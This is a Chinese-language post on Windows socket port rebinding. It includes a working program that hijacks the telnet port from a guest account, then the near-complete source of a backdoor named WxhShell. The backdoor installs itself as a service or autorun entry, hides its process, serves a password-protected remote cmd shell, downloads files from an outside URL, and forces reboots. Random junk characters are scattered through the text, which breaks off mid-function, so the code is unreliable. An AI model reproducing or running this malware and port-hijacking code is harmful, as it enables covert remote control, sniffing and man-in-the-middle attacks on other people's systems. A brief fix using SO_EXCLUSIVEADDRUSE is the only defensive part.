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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~9n@MPS^! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pf!K()<uJ w9oiu$7), saddr.sin_family = AF_INET; qzLRA.#f^ X}Csl~W8in saddr.sin_addr.s_addr = htonl(INADDR_ANY); byMO&Lb* r9%W?fEBp bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #eaey+~ f(C0&"4e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h>n;A>k@N Y'Af I^K 这意味着什么?意味着可以进行如下的攻击: " c]Mz&z 3HA{18{4uP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N8vWwN[3 9UwDa`^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V-
vVb 3Q#VD) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $W2g2[+ JrQN-e! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 s)N1@RBR a0n
F U 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sv[)?1S Oo0$n]*;W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AV'> jy*wj7fj1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Gg&jb= QVP
$e`4 #include CeZ5Ti?F #include !!QMcx_C#/ #include EmH{G #include + ]__zm/^ DWORD WINAPI ClientThread(LPVOID lpParam); %d>Ktf int main() "au"\} { z
XvWo6 WORD wVersionRequested; z[';HJ0O; DWORD ret; @#V{@@3$ WSADATA wsaData; X=JSqO6V9 BOOL val; OVd"'|&6_ SOCKADDR_IN saddr; *=I#VN*_<. SOCKADDR_IN scaddr; ~/NA?E-c int err; zso.?`85 SOCKET s; ^qDkSoqC" SOCKET sc; 55;xAsG int caddsize; b+C>p2 % HANDLE mt; dv,8iOL DWORD tid; IlE!
zRA wVersionRequested = MAKEWORD( 2, 2 ); p7k0pSt err = WSAStartup( wVersionRequested, &wsaData ); Q`oi=OYB if ( err != 0 ) { #e#8I7P printf("error!WSAStartup failed!\n"); ;6]+/e7O return -1; !~Z L } =tP|sYR]^ saddr.sin_family = AF_INET; )sL:iGU mg;qG@? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qV^H vZJ J0>Q+Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !Khsx saddr.sin_port = htons(23); Pc$<Cv|vz
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =HSE { LHacHv printf("error!socket failed!\n"); A$oYw(m# return -1; +(<CE#bb[ } 9(iJ=ao ( val = TRUE; pymT- //SO_REUSEADDR选项就是可以实现端口重绑定的 W<x2~HW( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rdC(+2+Ay { Q!"Li printf("error!setsockopt failed!\n"); nc3 1X return -1; 'rg$%M*( } 9<Bf5d
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S`R
( _eD@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x3vz4m[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B!Qdf8We Bb1dH/8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C[pAa 8 { }&!rIU ret=GetLastError(); >N*QK6"=| printf("error!bind failed!\n"); 4];NX return -1; h)YqC$A-s } p<![JeV listen(s,2); wRuJein# while(1) vI+PL(T@ { 0nl)0|?Az caddsize = sizeof(scaddr); #v`G4d //接受连接请求 ?W#! S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;bZ)q if(sc!=INVALID_SOCKET) J|I|3h<T { S'A~9+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MVTU$
65 if(mt==NULL) p%G\5.GcJL { Xu'u"amt printf("Thread Creat Failed!\n"); PM_q"}- break; ypml22)kz } v&?Bqj } plp).Gq CloseHandle(mt); N),Zb^~nw } Z|j8:Ohz closesocket(s); \V&ly/\
) WSACleanup(); L$jRg return 0; +ivz } ;`xu)08a DWORD WINAPI ClientThread(LPVOID lpParam) Kj-`ru { MjLyB^M SOCKET ss = (SOCKET)lpParam; ?!
kup SOCKET sc; ` "9Y.KU unsigned char buf[4096]; !E*-\}[ SOCKADDR_IN saddr; .AV--oA~ long num; Tn-H8;Hg DWORD val; XL"e<P;t DWORD ret; }we"IqLb //如果是隐藏端口应用的话,可以在此处加一些判断 !867DX3* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 2x`#
f0[ saddr.sin_family = AF_INET; V^f'4*~' saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4BCZ~_ saddr.sin_port = htons(23); ,2]6cP(6qQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HL_MuyE { B'=*92i>S printf("error!socket failed!\n"); =,(Ba' return -1; 3kJAaI8 } PS6G 7 val = 100; EKDv3aFQZ# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) myXp]=Sb? { Maq{H` ret = GetLastError(); 9t)t-t#P; return -1; @4&sL] (q } .Oim7JQ8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {UwJg { s~TYzfA ret = GetLastError(); NcPzmW{#;g return -1; 9,F(f}(t } q!FJP9x if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qg'm<[ { 'QkL%z0 printf("error!socket connect failed!\n"); K J~f ~2; closesocket(sc); 8Y4YE(x5 closesocket(ss); Bg34YmZ return -1; 1ra}^H} } Ot/Y?=j~ while(1) 7$w:~VZ { <;acWT?( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2Gx&ECa, //如果是嗅探内容的话,可以再此处进行内容分析和记录 WLizgVM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4S9AXE6 num = recv(ss,buf,4096,0); ?B[Z9Ef"8l if(num>0) w%L0mH2]ng send(sc,buf,num,0); /.}&yRR else if(num==0) 5#iv[c break; 2sf/^XC1 num = recv(sc,buf,4096,0); Ib!`ChZ if(num>0) !.F`8OD`u send(ss,buf,num,0); (D))?jnC else if(num==0) AJq'~fC;I break; 8mMrGf[Q\ } ,. E:mm closesocket(ss); 3J@#V ' closesocket(sc); :k JSu{p return 0 ; ) I@gy } ?SS?I y/Nvts2!C Z|3l2ucl ========================================================== bluC P| kR'!;}s 下边附上一个代码,,WXhSHELL B-Fu/n ;;UvK
v ========================================================== lMlXK4- w8>p[F5`O #include "stdafx.h" cDLS) :JPI#zZun #include <stdio.h> dmf~w_(7 #include <string.h> Kw'A%7^e #include <windows.h> RMsr7M4<91 #include <winsock2.h> TCB<fS~U- #include <winsvc.h> & {B,m%G #include <urlmon.h> zQ7SiRt7* _a c_8m #pragma comment (lib, "Ws2_32.lib") fv)-o&Q# #pragma comment (lib, "urlmon.lib") B<_T"n'#b 4R^'+hy|? #define MAX_USER 100 // 最大客户端连接数 RJ@d_~%U #define BUF_SOCK 200 // sock buffer DGp'Xx_8 #define KEY_BUFF 255 // 输入 buffer 4(o0I~hpB? X8Gw8^t #define REBOOT 0 // 重启 A4'vJk #define SHUTDOWN 1 // 关机 d<!bE( O@Xl_QNxc! #define DEF_PORT 5000 // 监听端口 +-xA/nU.c 3~M8.{
U#V #define REG_LEN 16 // 注册表键长度 $yOfqr #define SVC_LEN 80 // NT服务名长度 CM7j^t nfl6`)oW // 从dll定义API Is-Kz}4L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UD"e:O_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h/PWi<R
i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _:=w6jCk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E7y<iaA{~ [NJ! // wxhshell配置信息 +dR$;!WB3 struct WSCFG { 8qt|2% int ws_port; // 监听端口 %#"uK:(N char ws_passstr[REG_LEN]; // 口令 Pbz-I3+66 int ws_autoins; // 安装标记, 1=yes 0=no ]`+>{Sx 1 char ws_regname[REG_LEN]; // 注册表键名 e8P
|eK char ws_svcname[REG_LEN]; // 服务名 ~D
5'O^ char ws_svcdisp[SVC_LEN]; // 服务显示名 [f^~Z'TIN/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 b)
.@ xS char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )|\72Z~eq int ws_downexe; // 下载执行标记, 1=yes 0=no AnI ENJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 3\6jzD char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (\M&/X~q Q +qN` }; l6a,:*_ !)
LMn // default Wxhshell configuration XKMJsEPsW struct WSCFG wscfg={DEF_PORT, t3G%}d? "xuhuanlingzhe", v@< "b U 1, ^D/*Hp _ "Wxhshell", 5GC{)#4 "Wxhshell", YAd.i@^ "WxhShell Service",
aS:17+! "Wrsky Windows CmdShell Service", -s4qm)\ "Please Input Your Password: ", zn@tLLX 1, qH"e:
wgL " http://www.wrsky.com/wxhshell.exe", L
+-B,466 "Wxhshell.exe" { 5h6nYu }; %-H &eyFApM[Z // 消息定义模块 K*p^Gs, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [+>$'Du char *msg_ws_prompt="\n\r? for help\n\r#>"; =3""D{l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; #^#N%_8 char *msg_ws_ext="\n\rExit."; eEupqOF*:W char *msg_ws_end="\n\rQuit."; g9p#v$V char *msg_ws_boot="\n\rReboot..."; \ tU91VIj char *msg_ws_poff="\n\rShutdown..."; aY8>#t? char *msg_ws_down="\n\rSave to "; Y~bp:FkS
}_XKO\ char *msg_ws_err="\n\rErr!"; SyX>zN! char *msg_ws_ok="\n\rOK!"; P}JA"V& \)`\F$CF char ExeFile[MAX_PATH]; L}x"U9'C int nUser = 0; =<R77rnY& HANDLE handles[MAX_USER]; V=.lpj9m int OsIsNt; aCy2.Qn =as ]>?< SERVICE_STATUS serviceStatus; "7iHTV SERVICE_STATUS_HANDLE hServiceStatusHandle; e2 Ba@e- ~ia#=|1} // 函数声明 a)[t kjU int Install(void); 0;r+E*`DA int Uninstall(void); ]r6,^" int DownloadFile(char *sURL, SOCKET wsh); (F~eknJ int Boot(int flag); T?NwSxGo void HideProc(void); Y!CZ?c)@ int GetOsVer(void); )vhHlZ *+ int Wxhshell(SOCKET wsl); w/>k void TalkWithClient(void *cs); % e:VeP~ int CmdShell(SOCKET sock); Pgs4/ int StartFromService(void); v!K%\h2A int StartWxhshell(LPSTR lpCmdLine); !f]F'h8 e#SNN-hKsJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JzCfs<D VOID WINAPI NTServiceHandler( DWORD fdwControl ); z`m-Ca>6 ] E`J5o}op // 数据结构和表定义 Qx'a+kLu9 SERVICE_TABLE_ENTRY DispatchTable[] = W!V06. { xw]Zo<F {wscfg.ws_svcname, NTServiceMain}, w,9$*=k
{NULL, NULL} X62z>mM }; +
ECV|mkk .K;*uq:0 // 自我安装 \d%&_rp int Install(void) ` _[\j] { 5H;* Nj@ char svExeFile[MAX_PATH]; <fWho%eOK HKEY key; /Y%) Y strcpy(svExeFile,ExeFile); {#0B~Zr .lTU[(qwu // 如果是win9x系统,修改注册表设为自启动 +TA(crD if(!OsIsNt) { ,Ix7Yg[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JKGUg3\~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jpT!di RegCloseKey(key); [t,grdw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A&)P_B1| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W)$;T%u RegCloseKey(key); o7&Z4(V return 0; !5Z?D8dcx } J6rXbui$ } :G,GHU'/78 } H[fD
> else { u;J9aKD R~[
u|EC} // 如果是NT以上系统,安装为系统服务 ,|?B5n& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wW]|ElYR= if (schSCManager!=0) oI/@w { *
vEG%Y SC_HANDLE schService = CreateService ?r2Im5N ( I&1h/ schSCManager, R qOEQ*k wscfg.ws_svcname, M\>y&'J- wscfg.ws_svcdisp, W;Ox H"eC SERVICE_ALL_ACCESS, J+w"{ O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {b7P1}>-* SERVICE_AUTO_START, =KMd! $J\ SERVICE_ERROR_NORMAL, /Y|9!{. svExeFile, GcHWalm NULL, Uiv;0Tovl NULL, nU||Jg NULL, VOp8 ,! NULL, %U-KQI0 NULL !A&Vg # ); >2Z:=HT if (schService!=0) pJK puoiX { NJLU+byU CloseServiceHandle(schService); 0ot=BlMu CloseServiceHandle(schSCManager); {;=+#QK/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nLJ]tpw^DH strcat(svExeFile,wscfg.ws_svcname); h:Npi
`y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t.485L% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @_h/%>0 RegCloseKey(key); u.1u/o1" return 0; 5-5qm[.; } f+-w~cN } YdhrFw0`~r CloseServiceHandle(schSCManager); /M\S^!g@ } &.K=,+0_R/ } /,c9&it(M 8!S="_ return 1; n[AJ'A{ } ZsNUT4 |P>>
^,iUn // 自我卸载 2pxl! int Uninstall(void) /vwGSuk._ { }NiJDs HKEY key; OfbM]:}<3 u
L/*,[}' if(!OsIsNt) { f*bs{H'5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 33s.p' RegDeleteValue(key,wscfg.ws_regname); 5 S7\m5 RegCloseKey(key); P=(\3ok if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SI8mr`gJ RegDeleteValue(key,wscfg.ws_regname); hdfNXZ{A" RegCloseKey(key); .ye5;A} return 0; @1^iWM j } gy_n=jhi+ } 52{jq18& } CYes'lr else { yngSD`b_P Q0Dw2>~_K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :
R.,<DQM if (schSCManager!=0) %~}9#0h) { {*yhiE , SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &HT
PeB if (schService!=0) |JnJ=@-y { 6 @'v6 1' if(DeleteService(schService)!=0) { vAHJP$x CloseServiceHandle(schService); |A[Le
;, CloseServiceHandle(schSCManager); -8#Of)W return 0; ;UArDw H } OAc+LdT CloseServiceHandle(schService); r}pYm'e } pc:~_6S CloseServiceHandle(schSCManager);
QU8?/ } Qm^N}>e } ERCW5b[RT n)^B0DnIk return 1; k%VV(P]sT } 0 \&4? vb\ UP&Ip // 从指定url下载文件 Ub4j3` int DownloadFile(char *sURL, SOCKET wsh) j]M$>2; { eiJ $}\qJL HRESULT hr; 7z5AI!s_ char seps[]= "/"; 83OOM;' char *token; V`G)8?% Vy char *file; u=p([
5] char myURL[MAX_PATH]; *^}(LoPZ char myFILE[MAX_PATH]; xBl}=M?Qu m7~kRY514 strcpy(myURL,sURL); ]@C&Q,~q token=strtok(myURL,seps); v>;6pcp[F while(token!=NULL) n;/yo~RR { )Uo)3FAn file=token; wRi!eN? token=strtok(NULL,seps); -]A,SBs } GbBcC#0 w)5eD+n\- GetCurrentDirectory(MAX_PATH,myFILE); &,3.V+Sz strcat(myFILE, "\\"); |r%6;8A]i strcat(myFILE, file); xCiY
jl$ send(wsh,myFILE,strlen(myFILE),0); rcY[jF send(wsh,"...",3,0); [8l8m6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tg7%@SI5^- if(hr==S_OK) ./rNq!*a return 0; yAW%y else <x53b/ft return 1; [?.k 8;k r@/+ } |z-A;uL < v0apEjT // 系统电源模块 diaLw int Boot(int flag) :BNqr[=b { Y'DI@ HANDLE hToken; Z ZX|MA! TOKEN_PRIVILEGES tkp; 1<Qb"FN!2 [59_n{S 1 if(OsIsNt) { Oz-X}eM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?qO_t;:0> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X8GIRL)lJ tkp.PrivilegeCount = 1; q~T*R<S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J
XPE9uH AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BwEO2a{ if(flag==REBOOT) { HX7"w
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1\$xq9 return 0; W{*U#:Jx1 } wC}anq>> else { &) T5V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +%UfnbZ return 0; /hQTV!\u } 0h_ 9 } ToTehVw else { 9B{,q6 if(flag==REBOOT) { g\,pZ]0i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -2{NI.-Xd return 0;
+ZQf$@+ } J4;w9[a$ else { H"=%|/1M0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !NuiVC] return 0; .-awl1 W } 9i;%(b{ } N>/!e787OU %-/[.DYt return 1; =e$<[" } 1~zzQ:jAZ
K7 -AVMY // win9x进程隐藏模块 64fa0j~<*M void HideProc(void) wa\Yc,R { O&RW[ml*3 *:{s|18Pj HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |D~mLs;& if ( hKernel != NULL ) RXxi7^ U {
a`
s2 z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FAX|.!US*p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sf<S#;aYqn FreeLibrary(hKernel); MX2]Q } iVTC"v P<ElH3J` return; %M]%[4eC } ="Zr. g~8 GL-v</2'U // 获取操作系统版本 MHeUh[%( int GetOsVer(void) Qz=F
nR {
U*!q@g_ OSVERSIONINFO winfo; ^a^bsKW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ti$G2dBO GetVersionEx(&winfo); 7 XE&[o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NvW`x return 1; 6<u=hhL else [ uU"=H| return 0; kVz9}Xp" } B52n'. mvgsf(a*' // 客户端句柄模块 Tsch:r S int Wxhshell(SOCKET wsl) n=J~Rssp { (H5nz': SOCKET wsh; Iv+JEuIi struct sockaddr_in client; ,h,OUo]LIY DWORD myID; iO 9.SF0:
c!*yxzs\ while(nUser<MAX_USER) }Z#KPI8\Q { T$rhz)_q int nSize=sizeof(client); xvw @'| wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q!iTDg*$ if(wsh==INVALID_SOCKET) return 1; { RH&mu o@:${>jw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Heh.CD)Q if(handles[nUser]==0) C@d*t? closesocket(wsh); DcYL8u else -:cBVu-m nUser++; P1C{G'cR } <` [o|>A Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i<@"+~n~GK G5*"P!@6 return 0; mh#NmW>n } 7.)kG}q] J>Pc@,y // 关闭 socket PL} Wu= void CloseIt(SOCKET wsh) _E'F { 6<1
2j7 closesocket(wsh); /JsA[}.6 nUser--; 3E9 )~$ ExitThread(0); `(tVwX4 }
IR JN la4
#2>#WZ // 客户端请求句柄 S:B$c> void TalkWithClient(void *cs) q8A ;%.ZLG { gxnIur) }aO6% SOCKET wsh=(SOCKET)cs; 8u8-:c%{ char pwd[SVC_LEN]; k_;g-r, char cmd[KEY_BUFF]; q)j b9e char chr[1]; 5"sd int i,j; +pUG6.j% W4Z8U0co while (nUser < MAX_USER) { +MZsL7% dCA| ) if(wscfg.ws_passstr) { 9K!kU6Gh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .`p,pt; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _E %!5u //ZeroMemory(pwd,KEY_BUFF); t57MKDn i=0; ;k?Z,M: while(i<SVC_LEN) { 'Em3;`/C*+ 7N:3 // 设置超时 uA-1VwW+N fd_set FdRead; S)LvYOOB@ struct timeval TimeOut; nA*Udrcn FD_ZERO(&FdRead); 4y*"w*L FD_SET(wsh,&FdRead); Nk63F&J7e TimeOut.tv_sec=8; *^y,Gg/ TimeOut.tv_usec=0; 68*a'0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W&~\@j]!D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =[JstiT?E l XpbAW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uB=DC'lkg pwd =chr[0]; b~$8<\ if(chr[0]==0xd || chr[0]==0xa) { @7HHi~1JK pwd=0; F8H4R7
8>; break; 8:t!m>(* } G&Fe2&5!w i++; rU4;yy*b } NF "|*S &?[g8A // 如果是非法用户,关闭 socket #| pn,/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !;3hN$5 } Y`N w E _D 9/,n$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :6gRoMb] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h+rW%`B C5Vlqc; while(1) { ~3&*>H^U V15/~ ZeroMemory(cmd,KEY_BUFF); ^(kmF UV,Z 0Q7|2{ // 自动支持客户端 telnet标准 ?K\r-J!Y j=0; 8n/8uRIR while(j<KEY_BUFF) { 9dVHh?E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lvAKL>qX cmd[j]=chr[0]; E3LEeXcLS if(chr[0]==0xa || chr[0]==0xd) { .oS[ DTn5S cmd[j]=0; &w!(.uDO break; 8]K+,0m6 } )%q!XM j++; F MX^k } ,ZI#p6 |A.nP9 hW // 下载文件 dVMduo if(strstr(cmd,"http://")) { S
awf]/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); :F8h}\a* if(DownloadFile(cmd,wsh)) \G0YLV~>P send(wsh,msg_ws_err,strlen(msg_ws_err),0); |.z4 VJi4 else =AcK9?%5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }}qY,@eeX } |2E:]wT}qg else { >*MGF=.QG iNs@8<=$T switch(cmd[0]) { z6*r<>Bf+b 8e5imei // 帮助 ;Q8`5h case '?': { x)jc send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?8qN8rk^+ break; K=!
C\T"I% }
:yw8_D3 // 安装 "!Qi$ ] case 'i': { b@S~
= if(Install()) D GL=\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); wg+[T;0 S else j#~ S"t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ov<vSc<u break; O7]kcA } @Q7^caG // 卸载 T[evh]koB case 'r': { H|S hi / if(Uninstall()) 2:@,~{`#* send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3*T/ 7\ else C|V5@O?;&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2# break; P~#LbUP( } SdF+b+P] // 显示 wxhshell 所在路径 d\R "?Sg case 'p': { "/G]M& char svExeFile[MAX_PATH]; K]1|#`n strcpy(svExeFile,"\n\r"); b")O#v. strcat(svExeFile,ExeFile); Z;z,dw send(wsh,svExeFile,strlen(svExeFile),0); m
7S`u break; JXjH}C } ^RE[5h6^q // 重启 L&KL]n case 'b': { O=eU38n:5u send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kum" }ux if(Boot(REBOOT)) ^M1jv( send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uw]o9 e0S else { t7yvd7 closesocket(wsh); Py?e+[cN ExitThread(0); |{ =Jp<}s } K8/jfm break; E9b>wP } 1+"d-`'Z2O // 关机 #)#J`s1R case 'd': { X(O:y^sX} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .}GOHW)} if(Boot(SHUTDOWN)) *0vRVlYf send(wsh,msg_ws_err,strlen(msg_ws_err),0); KRX\<@ else { 7^V`B^Vu closesocket(wsh); DR
@yd, ExitThread(0); s?"\+b } k0&FUO break; S}VN(g } '[HBKn$` // 获取shell ~# \{'< case 's': { Ci 'V CmdShell(wsh); 7xM4=\~OG closesocket(wsh); :]4s;q:m ExitThread(0); ^I9U<iNIL break; ^F
qs,^~W } \PD%=~ // 退出 mo9(2@~< case 'x': { @HTs.4 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /eT9W[a CloseIt(wsh); ]heVR&bQ break; xi=0kO } qfdL *D // 离开 qo}yEl1 case 'q': { PdEPDyFk h send(wsh,msg_ws_end,strlen(msg_ws_end),0); RD0*]4>] closesocket(wsh); KMG}VG
WSACleanup(); KzX)6|g{" exit(1); k{'<J(Hb break; OJ7Uh_;/ } L8Q/!+K } o6RT 4` } x[fp7*TiG 7L!}F;yT // 提示信息 _>)@6srC if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qW*k|;S } >Hmho' } me F. fT{jD_Q+3 return; ^Y!$WP } W4qnXD1n ^$mCF%e8H // shell模块句柄 4`'Rm/) int CmdShell(SOCKET sock) dKP| TRd { 4uH}
SG[ STARTUPINFO si; ?9 W2ax-4 ZeroMemory(&si,sizeof(si)); WZjR^6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lYS " si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @Z7s3b PROCESS_INFORMATION ProcessInfo; nET<u; char cmdline[]="cmd"; Bio QV47B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S|;}]6p return 0; Q );}1'c } t|9vb @+_pj.D // 自身启动模式 xSO5?eR"u int StartFromService(void) ~[kI![ { d|`8\fq typedef struct <Fv7JPN% { cp"{W-Q{$ DWORD ExitStatus; z
=\ENG|x# DWORD PebBaseAddress; 0C3Y =F DWORD AffinityMask; Q<DXDvL DWORD BasePriority; >s!k"s, ULONG UniqueProcessId; Y9
Bk$$#\ ULONG InheritedFromUniqueProcessId; xT( pB-R } PROCESS_BASIC_INFORMATION; /XA*:8~! 9xK#(M PROCNTQSIP NtQueryInformationProcess; bdvpH DA WRRR "Q$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !b+!] 2~g} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P(o>UDy rWqr-"0S. HANDLE hProcess; Z#l6BXK PROCESS_BASIC_INFORMATION pbi; .Iz
